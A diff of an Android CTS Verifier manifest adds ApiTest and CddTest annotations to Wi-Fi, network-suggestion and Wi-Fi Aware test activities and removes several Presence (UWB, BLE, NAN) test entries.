             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.widget.Toast#makeText" />
         </activity>
 
         <activity android:name=".notifications.BubblesVerifierActivity"
@@ -3210,6 +3263,8 @@
                        android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.app.Notification.Builder#setBubbleMetadata|android.app.NotificationManager#notify" />
         </activity>
 
         <activity android:name=".notifications.BubbleActivity"
@@ -3265,6 +3320,7 @@
                 android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
+            <meta-data android:name="CddTest" android:value="3.8.1/C-4-1" />
         </activity>
 
         <activity android:name=".qstiles.TileServiceVerifierActivity"
@@ -3481,6 +3537,14 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.WifiNetworkSpecifier.Builder#build
+                       |android.net.wifi.WifiNetworkSpecifier.Builder#setSsidPattern
+                       |android.net.wifi.WifiNetworkSpecifier.Builder#setBssidPattern
+                       |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+                       |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+                       |android.net.NetworkRequest.Builder#setNetworkSpecifier
+                       |android.net.ConnectivityManager#requestNetwork" />
         </activity>
 
         <activity android:name=".wifi.NetworkRequestPatternNetworkSpecifierTestActivity"
@@ -3488,6 +3552,14 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.WifiNetworkSpecifier.Builder#build
+                       |android.net.wifi.WifiNetworkSpecifier.Builder#setSsidPattern
+                       |android.net.wifi.WifiNetworkSpecifier.Builder#setBssidPattern
+                       |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+                       |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+                       |android.net.NetworkRequest.Builder#setNetworkSpecifier
+                       |android.net.ConnectivityManager#requestNetwork" />
         </activity>
 
         <activity android:name=".wifi.NetworkRequestUnavailableNetworkSpecifierTestActivity"
@@ -3495,6 +3567,14 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.WifiNetworkSpecifier.Builder#build
+                       |android.net.wifi.WifiNetworkSpecifier.Builder#setSsidPattern
+                       |android.net.wifi.WifiNetworkSpecifier.Builder#setBssidPattern
+                       |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+                       |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+                       |android.net.NetworkRequest.Builder#setNetworkSpecifier
+                       |android.net.ConnectivityManager#requestNetwork" />
         </activity>
 
         <activity android:name=".wifi.NetworkRequestInvalidCredentialNetworkSpecifierTestActivity"
@@ -3502,6 +3582,14 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.WifiNetworkSpecifier.Builder#build
+                       |android.net.wifi.WifiNetworkSpecifier.Builder#setSsid
+                       |android.net.wifi.WifiNetworkSpecifier.Builder#setBssid
+                       |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+                       |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+                       |android.net.NetworkRequest.Builder#setNetworkSpecifier
+                       |android.net.ConnectivityManager#requestNetwork" />
         </activity>
 
         <activity android:name=".wifi.NetworkSuggestionSsidTestActivity"
@@ -3509,6 +3597,19 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.WifiNetworkSuggestion.Builder#build
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setSsid
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setBssid
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa2Passphrase
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa3Passphrase
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setIsMetered
+                       |android.net.wifi.WifiManager#addNetworkSuggestions
+                       |android.net.wifi.WifiManager#addSuggestionUserApprovalStatusListener
+                       |android.net.wifi.WifiManager#getNetworkSuggestions
+                       |android.net.wifi.WifiManager#removeNetworkSuggestions
+                       |android.net.wifi.WifiManager#removeSuggestionConnectionStatusListener
+                       |android.net.wifi.WifiManager#addSuggestionConnectionStatusListener" />
         </activity>
 
         <activity android:name=".wifi.NetworkSuggestionSsidBssidTestActivity"
@@ -3516,6 +3617,19 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.WifiNetworkSuggestion.Builder#build
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setSsid
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setBssid
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa2Passphrase
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa3Passphrase
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setIsMetered
+                       |android.net.wifi.WifiManager#addNetworkSuggestions
+                       |android.net.wifi.WifiManager#addSuggestionUserApprovalStatusListener
+                       |android.net.wifi.WifiManager#getNetworkSuggestions
+                       |android.net.wifi.WifiManager#removeNetworkSuggestions
+                       |android.net.wifi.WifiManager#removeSuggestionConnectionStatusListener
+                       |android.net.wifi.WifiManager#addSuggestionConnectionStatusListener" />
         </activity>
 
         <activity android:name=".wifi.NetworkSuggestionSsidPostConnectTestActivity"
@@ -3523,6 +3637,19 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.WifiNetworkSuggestion.Builder#build
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setSsid
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setBssid
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa2Passphrase
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa3Passphrase
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setIsMetered
+                       |android.net.wifi.WifiManager#addNetworkSuggestions
+                       |android.net.wifi.WifiManager#addSuggestionUserApprovalStatusListener
+                       |android.net.wifi.WifiManager#getNetworkSuggestions
+                       |android.net.wifi.WifiManager#removeNetworkSuggestions
+                       |android.net.wifi.WifiManager#removeSuggestionConnectionStatusListener
+                       |android.net.wifi.WifiManager#addSuggestionConnectionStatusListener" />
         </activity>
 
         <activity android:name=".wifi.NetworkSuggestionConnectionFailureTestActivity"
@@ -3530,6 +3657,19 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.WifiNetworkSuggestion.Builder#build
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setSsid
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setBssid
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa2Passphrase
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa3Passphrase
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setIsMetered
+                       |android.net.wifi.WifiManager#addNetworkSuggestions
+                       |android.net.wifi.WifiManager#addSuggestionUserApprovalStatusListener
+                       |android.net.wifi.WifiManager#getNetworkSuggestions
+                       |android.net.wifi.WifiManager#removeNetworkSuggestions
+                       |android.net.wifi.WifiManager#removeSuggestionConnectionStatusListener
+                       |android.net.wifi.WifiManager#addSuggestionConnectionStatusListener" />
         </activity>
 
         <activity android:name=".wifi.NetworkSuggestionModificationInPlaceTestActivity"
@@ -3537,6 +3677,19 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.WifiNetworkSuggestion.Builder#build
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setSsid
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setBssid
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa2Passphrase
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa3Passphrase
+                       |android.net.wifi.WifiNetworkSuggestion.Builder#setIsMetered
+                       |android.net.wifi.WifiManager#addNetworkSuggestions
+                       |android.net.wifi.WifiManager#addSuggestionUserApprovalStatusListener
+                       |android.net.wifi.WifiManager#getNetworkSuggestions
+                       |android.net.wifi.WifiManager#removeNetworkSuggestions
+                       |android.net.wifi.WifiManager#removeSuggestionConnectionStatusListener
+                       |android.net.wifi.WifiManager#addSuggestionConnectionStatusListener" />
         </activity>
 
         <activity android:name=".p2p.GoNegRequesterTestListActivity"
@@ -3700,6 +3853,9 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOpenPassiveSubscribeTestActivity"
@@ -3707,6 +3863,9 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOpenPassiveSubscribeAcceptAnyTestActivity"
@@ -3714,6 +3873,10 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPassphraseUnsolicitedPublishTestActivity"
@@ -3721,6 +3884,9 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPassphrasePassiveSubscribeTestActivity"
@@ -3728,6 +3894,10 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity"
@@ -3735,6 +3905,10 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPmkUnsolicitedPublishTestActivity"
@@ -3742,6 +3916,10 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPmkPassiveSubscribeTestActivity"
@@ -3749,6 +3927,10 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPmkPassiveSubscribeAcceptAnyTestActivity"
@@ -3756,6 +3938,11 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOpenSolicitedPublishTestActivity"
@@ -3763,6 +3950,9 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOpenActiveSubscribeTestActivity"
@@ -3770,6 +3960,9 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOpenActiveSubscribeAcceptAnyTestActivity"
@@ -3777,6 +3970,10 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPassphraseSolicitedPublishTestActivity"
@@ -3784,6 +3981,10 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPassphrase
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPassphraseActiveSubscribeTestActivity"
@@ -3791,6 +3992,10 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPassphraseActiveSubscribeAcceptAnyTestActivity"
@@ -3798,6 +4003,11 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPmkSolicitedPublishTestActivity"
@@ -3805,6 +4015,10 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPmkActiveSubscribeTestActivity"
@@ -3812,6 +4026,10 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPmkActiveSubscribeAcceptAnyTestActivity"
@@ -3819,6 +4037,11 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOobOpenResponderTestActivity"
@@ -3826,6 +4049,8 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.WifiAwareSession#createNetworkSpecifierOpen" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOobOpenInitiatorTestActivity"
@@ -3833,6 +4058,8 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.WifiAwareSession#createNetworkSpecifierOpen" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOobPassphraseResponderTestActivity"
@@ -3840,6 +4067,8 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.WifiAwareSession#createNetworkSpecifierPassphrase" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOobPassphraseInitiatorTestActivity"
@@ -3847,6 +4076,8 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.WifiAwareSession#createNetworkSpecifierPassphrase" />
         </activity>
 
         <activity android:name=".wifiaware.DiscoveryRangingPublishTestActivity"
@@ -3854,6 +4085,12 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.rtt.RangingRequest.Builder#addWifiAwarePeer
+                       |android.net.wifi.aware.PublishConfig.Builder#setRangingEnabled
+                       |android.net.wifi.rtt.WifiRttManager#startRanging
+                       |android.net.wifi.aware.WifiAwareManager#attach
+                       |android.net.wifi.aware.WifiAwareSession#publish" />
         </activity>
 
         <activity android:name=".wifiaware.DiscoveryRangingSubscribeTestActivity"
@@ -3861,6 +4098,12 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.rtt.RangingRequest.Builder#addWifiAwarePeer
+                       |android.net.wifi.aware.SubscribeConfig.Builder#setMaxDistanceMm
+                       |android.net.wifi.rtt.WifiRttManager#startRanging
+                       |android.net.wifi.aware.WifiAwareManager#attach
+                       |android.net.wifi.aware.WifiAwareSession#subscrible" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOpenSolicitedPublishAcceptAnyTestActivity"
@@ -3868,6 +4111,10 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build
+                       |android.net.NetworkCapabilities#TRANSPORT_WIFI_AWARE" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPmkUnsolicitedPublishAcceptAnyTestActivity"
@@ -3875,6 +4122,10 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build
+                       |android.net.NetworkCapabilities#TRANSPORT_WIFI_AWARE" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPmkSolicitedPublishAcceptAnyTestActivity"
@@ -3882,6 +4133,9 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPassphraseUnsolicitedPublishAcceptAnyTestActivity"
@@ -3889,6 +4143,9 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPassphraseSolicitedPublishAcceptAnyTestActivity"
@@ -3896,6 +4153,9 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOpenUnsolicitedPublishAcceptAnyTestActivity"
@@ -3903,6 +4163,9 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathForceChannelSetupSubscribeTestActivity"
@@ -3910,6 +4173,9 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setChannelFrequencyMhz" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathForceChannelSetupPublishTestActivity"
@@ -3917,174 +4183,9 @@
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
-        </activity>
-
-        <!--            CTS Verifier Presence Test Top Screen -->
-        <activity
-            android:name=".presence.PresenceTestActivity"
-            android:configChanges="keyboardHidden|orientation|screenSize"
-            android:exported="true"
-            android:label="@string/presence_test" >
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-
-            <meta-data
-                android:name="test_category"
-                android:value="@string/test_category_networking" />
-            <meta-data android:name="display_mode"
-                       android:value="single_display_mode" />
-        </activity>
-
-        <!--
-             CTS Verifier Uwb Precision Test Screen
-                 test category : uwb
-                 test parent : PresenceTestActivity
-        -->
-        <activity
-            android:name=".presence.UwbPrecisionActivity"
-            android:configChanges="keyboardHidden|orientation|screenSize"
-            android:exported="true"
-            android:label="@string/uwb_precision" >
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-
-            <meta-data
-                android:name="test_category"
-                android:value="@string/uwb" />
-            <meta-data
-                android:name="test_parent"
-                android:value="com.android.cts.verifier.presence.PresenceTestActivity" />
-            <meta-data android:name="display_mode"
-                       android:value="single_display_mode" />
-            <meta-data android:name="CddTest"
-                       android:value="7.4.9/C-1-1" />
-        </activity>
-
-        <!--
-             CTS Verifier Uwb Short Range Test Screen
-                 test category : uwb
-                 test parent : PresenceTestActivity
-        -->
-        <activity
-            android:name=".presence.UwbShortRangeActivity"
-            android:configChanges="keyboardHidden|orientation|screenSize"
-            android:exported="true"
-            android:label="@string/uwb_short_range" >
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-
-            <meta-data
-                android:name="test_category"
-                android:value="@string/uwb" />
-            <meta-data
-                android:name="test_parent"
-                android:value="com.android.cts.verifier.presence.PresenceTestActivity" />
-            <meta-data
-                android:name="display_mode"
-                android:value="single_display_mode" />
-            <meta-data
-                android:name="CddTest"
-                android:value="7.4.9/C-1-2" />
-        </activity>
-
-        <!--
-            CTS Verifier BLE RSSI Precision Test Screen
-                test category : BLE
-                test parent : PresenceTestActivity
-        -->
-        <activity
-            android:name=".presence.BleRssiPrecisionActivity"
-            android:exported="true"
-            android:label="@string/ble_rssi_precision_name">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-
-            <meta-data
-                android:name="test_category"
-                android:value="@string/ble" />
-            <meta-data
-                android:name="test_parent"
-                android:value="com.android.cts.verifier.presence.PresenceTestActivity" />
-            <meta-data
-                android:name="test_required_features"
-                android:value="android.hardware.bluetooth_le" />
-            <meta-data
-                android:name="display_mode"
-                android:value="single_display_mode" />
-            <meta-data
-                android:name="CddText"
-                android:value="7.4.3/C-7-1" />
-        </activity>
-
-        <!--
-            CTS Verifier BLE Rx/Tx Calibration Test Screen
-                test category : BLE
-                test parent : PresenceTestActivity
-        -->
-        <activity
-            android:name=".presence.BleRxTxCalibrationActivity"
-            android:exported="true"
-            android:label="@string/ble_rx_tx_calibration_name">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-
-            <meta-data
-                android:name="test_category"
-                android:value="@string/ble" />
-            <meta-data
-                android:name="test_parent"
-                android:value="com.android.cts.verifier.presence.PresenceTestActivity" />
-            <meta-data
-                android:name="test_required_features"
-                android:value="android.hardware.bluetooth_le" />
-            <meta-data
-                android:name="display_mode"
-                android:value="single_display_mode" />
-            <meta-data
-                android:name="CddText"
-                android:value="7.4.3/C-7-2" />
-        </activity>
-
-        <!-- CTS Verifier Nan Precision and Bias Test Screen
-                 test category : wifi_nan
-                 test parent : PresenceTestActivity
-        -->
-        <activity
-            android:name=".presence.NanPrecisionTestActivity"
-            android:configChanges="keyboardHidden|orientation|screenSize"
-            android:exported="true"
-            android:label="@string/nan_precision" >
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-
-            <meta-data
-                android:name="test_category"
-                android:value="@string/wifi_nan" />
-            <meta-data
-                android:name="test_parent"
-                android:value="com.android.cts.verifier.presence.PresenceTestActivity" />
-            <meta-data android:name="display_mode"
-                       android:value="single_display_mode" />
-            <meta-data android:name="CddTest"
-                       android:value="7.4.2.5/H-1-1|7.4.2.5/H-1-2" />
+            <meta-data android:name="ApiTest"
+                       android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+                       |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setChannelFrequencyMhz" />
         </activity>
 
         <activity-alias
@@ -4125,6 +4226,7 @@
                     android:value="android.hardware.type.automotive:android.hardware.ram.low" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
